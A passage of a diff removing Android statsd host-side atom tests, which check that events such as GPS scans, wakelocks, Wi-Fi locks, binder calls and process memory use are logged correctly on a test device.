-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getForegroundServiceStateChanged().getState().getNumber());
-    }
-
-
-    public void testForegroundServiceAccessAppOp() throws Exception {
-        final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
-        final String name = "testForegroundServiceAccessAppOp";
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertWithMessage("Wrong atom size").that(data.size()).isEqualTo(3);
-        for (int i = 0; i < data.size(); i++) {
-            ForegroundServiceAppOpSessionEnded atom
-                    = data.get(i).getAtom().getForegroundServiceAppOpSessionEnded();
-            final int opName = atom.getAppOpName().getNumber();
-            final int acceptances = atom.getCountOpsAccepted();
-            final int rejections = atom.getCountOpsRejected();
-            final int count = acceptances + rejections;
-            int expectedCount = 0;
-            switch (opName) {
-                case AppOpEnum.APP_OP_CAMERA_VALUE:
-                    expectedCount = 3;
-                    break;
-                case AppOpEnum.APP_OP_FINE_LOCATION_VALUE:
-                    expectedCount = 1;
-                    break;
-                case AppOpEnum.APP_OP_RECORD_AUDIO_VALUE:
-                    expectedCount = 2;
-                    break;
-                case AppOpEnum.APP_OP_COARSE_LOCATION_VALUE:
-                    // fall-through
-                default:
-                    fail("Unexpected opName " + opName);
-            }
-            assertWithMessage("Wrong count for " + opName).that(count).isEqualTo(expectedCount);
-        }
-    }
-
-    public void testGpsScan() throws Exception {
-        if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
-        // Whitelist this app against background location request throttling
-        String origWhitelist = getDevice().executeShellCommand(
-                "settings get global location_background_throttle_package_whitelist").trim();
-        getDevice().executeShellCommand(String.format(
-                "settings put global location_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        try {
-            final int atom = Atom.GPS_SCAN_STATE_CHANGED_FIELD_NUMBER;
-            final int key = GpsScanStateChanged.STATE_FIELD_NUMBER;
-            final int stateOn = GpsScanStateChanged.State.ON_VALUE;
-            final int stateOff = GpsScanStateChanged.State.OFF_VALUE;
-            final int minTimeDiffMillis = 500;
-            final int maxTimeDiffMillis = 60_000;
-
-            List<EventMetricData> data = doDeviceMethodOnOff("testGpsScan", atom, key,
-                    stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-            GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
-            GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
-            assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-            assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        } finally {
-            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
-                getDevice().executeShellCommand(
-                        "settings delete global location_background_throttle_package_whitelist");
-            } else {
-                getDevice().executeShellCommand(String.format(
-                        "settings put global location_background_throttle_package_whitelist %s",
-                        origWhitelist));
-            }
-        }
-    }
-
-    public void testGnssStats() throws Exception {
-        // Get GnssMetrics as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.GNSS_STATS_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
-        // Whitelist this app against background location request throttling
-        String origWhitelist = getDevice().executeShellCommand(
-                "settings get global location_background_throttle_package_whitelist").trim();
-        getDevice().executeShellCommand(String.format(
-                "settings put global location_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        try {
-            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGpsStatus");
-
-            Thread.sleep(WAIT_TIME_LONG);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-
-            // Assert about GnssMetrics for the test app.
-            List<Atom> atoms = getGaugeMetricDataList();
-
-            boolean found = false;
-            for (Atom atom : atoms) {
-                AtomsProto.GnssStats state = atom.getGnssStats();
-                found = true;
-                if ((state.getSvStatusReports() > 0 || state.getL5SvStatusReports() > 0)
-                        && state.getLocationReports() == 0) {
-                    // Device is detected to be indoors and not able to acquire location.
-                    // flaky test device
-                    break;
-                }
-                assertThat(state.getLocationReports()).isGreaterThan((long) 0);
-                assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
-                assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
-                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
-                assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
-                assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
-                assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
-                assertThat(state.getTopFourAverageCn0DbMhz()).isGreaterThan((long) 0);
-                assertThat(state.getL5TopFourAverageCn0Reports()).isAtLeast((long) 0);
-                assertThat(state.getL5TopFourAverageCn0DbMhz()).isAtLeast((long) 0);
-                assertThat(state.getSvStatusReports()).isAtLeast((long) 0);
-                assertThat(state.getSvStatusReportsUsedInFix()).isAtLeast((long) 0);
-                assertThat(state.getL5SvStatusReports()).isAtLeast((long) 0);
-                assertThat(state.getL5SvStatusReportsUsedInFix()).isAtLeast((long) 0);
-            }
-            assertWithMessage(String.format("Did not find a matching atom"))
-                    .that(found).isTrue();
-        } finally {
-            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
-                getDevice().executeShellCommand(
-                        "settings delete global location_background_throttle_package_whitelist");
-            } else {
-                getDevice().executeShellCommand(String.format(
-                        "settings put global location_background_throttle_package_whitelist %s",
-                        origWhitelist));
-            }
-        }
-    }
-
-    public void testMediaCodecActivity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
-
-        // 5 seconds. Starting video tends to be much slower than most other
-        // tests on slow devices. This is unfortunate, because it leaves a
-        // really big slop in assertStatesOccurred.  It would be better if
-        // assertStatesOccurred had a tighter range on large timeouts.
-        final int waitTime = 5000;
-
-        // From {@link VideoPlayerActivity#DELAY_MILLIS}
-        final int videoDuration = 2000;
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(MediaCodecStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("VideoPlayerActivity", "action", "action.play_video",
-            waitTime);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, videoDuration,
-                atom -> atom.getMediaCodecStateChanged().getState().getNumber());
-    }
-
-    public void testOverlayState() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> entered = new HashSet<>(
-                Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
-        Set<Integer> exited = new HashSet<>(
-                Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
-
-        createAndUploadConfig(atomTag, false);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
-                5_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        // The overlay box should appear about 2sec after the app start
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getOverlayStateChanged().getState().getNumber());
-    }
-
-    public void testPictureInPictureState() throws Exception {
-        String supported = getDevice().executeShellCommand("am supports-multiwindow");
-        if (!hasFeature(FEATURE_WATCH, false) ||
-                !hasFeature(FEATURE_PICTURE_IN_PICTURE, true) ||
-                !supported.contains("true")) {
-            LogUtil.CLog.d("Skipping picture in picture atom test.");
-            return;
-        }
-
-        StatsdConfig.Builder conf = createConfigBuilder();
-        // PictureInPictureStateChanged atom is used prior to rvc-qpr
-        addAtomEvent(conf, Atom.PICTURE_IN_PICTURE_STATE_CHANGED_FIELD_NUMBER,
-                /*useAttribution=*/false);
-        // Picture-in-picture logs' been migrated to UiEvent since rvc-qpr
-        FieldValueMatcher.Builder pkgMatcher = createFvm(UiEventReported.PACKAGE_NAME_FIELD_NUMBER)
-                .setEqString(DEVICE_SIDE_TEST_PACKAGE);
-        addAtomEvent(conf, Atom.UI_EVENT_REPORTED_FIELD_NUMBER, Arrays.asList(pkgMatcher));
-        uploadConfig(conf);
-
-        LogUtil.CLog.d("Playing video in Picture-in-Picture mode");
-        runActivity("VideoPlayerActivity", "action", "action.play_video_picture_in_picture_mode");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Filter out the PictureInPictureStateChanged and UiEventReported atom
-        List<EventMetricData> pictureInPictureStateChangedData = data.stream()
-                .filter(e -> e.getAtom().hasPictureInPictureStateChanged())
-                .collect(Collectors.toList());
-        List<EventMetricData> uiEventReportedData = data.stream()
-                .filter(e -> e.getAtom().hasUiEventReported())
-                .collect(Collectors.toList());
-
-        if (!pictureInPictureStateChangedData.isEmpty()) {
-            LogUtil.CLog.d("Assert using PictureInPictureStateChanged");
-            Set<Integer> entered = new HashSet<>(
-                    Arrays.asList(PictureInPictureStateChanged.State.ENTERED_VALUE));
-            List<Set<Integer>> stateSet = Arrays.asList(entered);
-            assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                    atom -> atom.getPictureInPictureStateChanged().getState().getNumber());
-        } else if (!uiEventReportedData.isEmpty()) {
-            LogUtil.CLog.d("Assert using UiEventReported");
-            // See PipUiEventEnum for definitions
-            final int enterPipEventId = 603;
-            // Assert that log for entering PiP happens exactly once, we do not use
-            // assertStateOccurred here since PiP may log something else when activity finishes.
-            List<EventMetricData> entered = uiEventReportedData.stream()
-                    .filter(e -> e.getAtom().getUiEventReported().getEventId() == enterPipEventId)
-                    .collect(Collectors.toList());
-            assertThat(entered).hasSize(1);
-        } else {
-            fail("No logging event from PictureInPictureStateChanged nor UiEventReported");
-        }
-    }
-
-    public void testScheduledJobState() throws Exception {
-        String expectedName = "com.android.server.cts.device.statsd/.StatsdJobService";
-        final int atomTag = Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> jobSchedule = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.SCHEDULED_VALUE));
-        Set<Integer> jobOn = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.STARTED_VALUE));
-        Set<Integer> jobOff = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.FINISHED_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(jobSchedule, jobOn, jobOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        allowImmediateSyncs();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testScheduledJob");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getScheduledJobStateChanged().getState().getNumber());
-
-        for (EventMetricData e : data) {
-            assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
-                .isEqualTo(expectedName);
-        }
-    }
-
-    //Note: this test does not have uid, but must run on the device
-    public void testScreenBrightness() throws Exception {
-        int initialBrightness = getScreenBrightness();
-        boolean isInitialManual = isScreenBrightnessModeManual();
-        setScreenBrightnessMode(true);
-        setScreenBrightness(200);
-        Thread.sleep(WAIT_TIME_LONG);
-
-        final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
-        Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-        Set<Integer> screen200 = new HashSet<>(Arrays.asList(198));
-        // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen200);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testScreenBrightness");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Restore initial screen brightness
-        setScreenBrightness(initialBrightness);
-        setScreenBrightnessMode(isInitialManual);
-
-        popUntilFind(data, screenMin, atom->atom.getScreenBrightnessChanged().getLevel());
-        popUntilFindFromEnd(data, screen200, atom->atom.getScreenBrightnessChanged().getLevel());
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-            atom -> atom.getScreenBrightnessChanged().getLevel());
-    }
-    public void testSyncState() throws Exception {
-        final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
-        Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(syncOn, syncOff, syncOn, syncOff);
-
-        createAndUploadConfig(atomTag, true);
-        allowImmediateSyncs();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSyncState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data,
-            /* wait = */ 0 /* don't verify time differences between state changes */,
-            atom -> atom.getSyncStateChanged().getState().getNumber());
-    }
-
-    public void testVibratorState() throws Exception {
-        if (!checkDeviceFor("checkVibratorSupported")) return;
-
-        final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testVibratorState";
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(VibratorStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(VibratorStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertStatesOccurred(stateSet, data, 300,
-                atom -> atom.getVibratorStateChanged().getState().getNumber());
-    }
-
-    public void testWakelockState() throws Exception {
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.ACQUIRE_VALUE,
-                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
-        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.RELEASE_VALUE,
-                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-            atom -> atom.getWakelockStateChanged().getState().getNumber());
-
-        for (EventMetricData event: data) {
-            String tag = event.getAtom().getWakelockStateChanged().getTag();
-            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-            assertThat(type).isEqualTo(EXPECTED_LEVEL);
-        }
-    }
-
-    public void testWakeupAlarm() throws Exception {
-        // For automotive, all wakeup alarm becomes normal alarm. So this
-        // test does not work.
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        final int atomTag = Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addAtomEvent(config, atomTag, true);  // True: uses attribution.
-
-        List<EventMetricData> data = doDeviceMethod("testWakeupAlarm", config);
-        assertThat(data.size()).isAtLeast(1);
-        for (int i = 0; i < data.size(); i++) {
-            WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
-            assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsd.testWakeupAlarm");
-            assertThat(wao.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        }
-    }
-
-    public void testWifiLockHighPerf() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiLockHighPerf");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
-                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
-        }
-    }
-
-    public void testWifiLockLowLatency() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiLockLowLatency");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
-                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
-        }
-    }
-
-    public void testWifiMulticastLock() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_MULTICAST_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(
-                Arrays.asList(WifiMulticastLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(
-                Arrays.asList(WifiMulticastLockStateChanged.State.OFF_VALUE));
-
-        final String EXPECTED_TAG = "StatsdCTSMulticastLock";
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiMulticastLock");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiMulticastLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event: data) {
-            String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-        }
-    }
-
-    public void testWifiScan() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-
-        final int atom = Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int key = WifiScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = WifiScanStateChanged.State.ON_VALUE;
-        final int stateOff = WifiScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 250;
-        final int maxTimeDiffMillis = 60_000;
-        final boolean demandExactlyTwo = false; // Two scans are performed, so up to 4 atoms logged.
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testWifiScan", atom, key,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, demandExactlyTwo);
-
-        assertThat(data.size()).isIn(Range.closed(2, 4));
-        WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
-        WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-    }
-
-    public void testBinderStats() throws Exception {
-        try {
-            unplugDevice();
-            Thread.sleep(WAIT_TIME_SHORT);
-            enableBinderStats();
-            binderStatsNoSampling();
-            resetBinderStats();
-            StatsdConfig.Builder config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.BINDER_CALLS_FIELD_NUMBER, null);
-
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification",3_000);
-
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            boolean found = false;
-            int uid = getUid();
-            List<Atom> atomList = getGaugeMetricDataList();
-            for (Atom atom : atomList) {
-                BinderCalls calls = atom.getBinderCalls();
-                boolean classMatches = calls.getServiceClassName().contains(
-                        "com.android.server.notification.NotificationManagerService");
-                boolean methodMatches = calls.getServiceMethodName()
-                        .equals("createNotificationChannels");
-
-                if (calls.getUid() == uid && classMatches && methodMatches) {
-                    found = true;
-                    assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
-                    assertThat(calls.getCallCount()).isGreaterThan(0L);
-                    assertThat(calls.getRecordedTotalLatencyMicros())
-                        .isIn(Range.open(0L, 1000000L));
-                    assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
-                }
-            }
-
-            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-                .that(found).isTrue();
-
-        } finally {
-            disableBinderStats();
-            plugInAc();
-        }
-    }
-
-    public void testLooperStats() throws Exception {
-        try {
-            unplugDevice();
-            setUpLooperStats();
-            StatsdConfig.Builder config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.LOOPER_STATS_FIELD_NUMBER, null);
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
-
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            List<Atom> atomList = getGaugeMetricDataList();
-
-            boolean found = false;
-            int uid = getUid();
-            for (Atom atom : atomList) {
-                LooperStats stats = atom.getLooperStats();
-                String notificationServiceFullName =
-                        "com.android.server.notification.NotificationManagerService";
-                boolean handlerMatches =
-                        stats.getHandlerClassName().equals(
-                                notificationServiceFullName + "$WorkerHandler");
-                boolean messageMatches =
-                        stats.getMessageName().equals(
-                                notificationServiceFullName + "$EnqueueNotificationRunnable");
-                if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
-                    found = true;
-                    assertThat(stats.getMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedTotalLatencyMicros())
-                        .isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedTotalDelayMillis())
-                        .isIn(Range.closedOpen(0L, 5000L));
-                    assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
-                }
-            }
-            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-                .that(found).isTrue();
-        } finally {
-            cleanUpLooperStats();
-            plugInAc();
-        }
-    }
-
-    public void testProcessMemoryState() throws Exception {
-        // Get ProcessMemoryState as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_LONG);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Assert about ProcessMemoryState for the test app.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean found = false;
-        for (Atom atom : atoms) {
-            ProcessMemoryState state = atom.getProcessMemoryState();
-            if (state.getUid() != uid) {
-                continue;
-            }
-            found = true;
-            assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-            assertThat(state.getOomAdjScore()).isAtLeast(0);
-            assertThat(state.getPageFault()).isAtLeast(0L);
-            assertThat(state.getPageMajorFault()).isAtLeast(0L);
-            assertThat(state.getRssInBytes()).isGreaterThan(0L);
-            assertThat(state.getCacheInBytes()).isAtLeast(0L);
-            assertThat(state.getSwapInBytes()).isAtLeast(0L);
-        }
-        assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-            .that(found).isTrue();
-    }
-
-    public void testProcessMemoryHighWaterMark() throws Exception {
-        // Get ProcessMemoryHighWaterMark as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Assert about ProcessMemoryHighWaterMark for the test app, statsd and system server.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean foundTestApp = false;
-        boolean foundStatsd = false;
-        boolean foundSystemServer = false;
-        for (Atom atom : atoms) {
-            ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
-            if (state.getUid() == uid) {
-                foundTestApp = true;
-                assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            } else if (state.getProcessName().contains("/statsd")) {
-                foundStatsd = true;
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            } else if (state.getProcessName().equals("system")) {
-                foundSystemServer = true;
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            }
-        }
-        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
-            .that(foundTestApp).isTrue();
-        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
-        assertWithMessage("Did not find a matching atom for system server")
-            .that(foundSystemServer).isTrue();
-    }
-
-    public void testProcessMemorySnapshot() throws Exception {
-        // Get ProcessMemorySnapshot as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
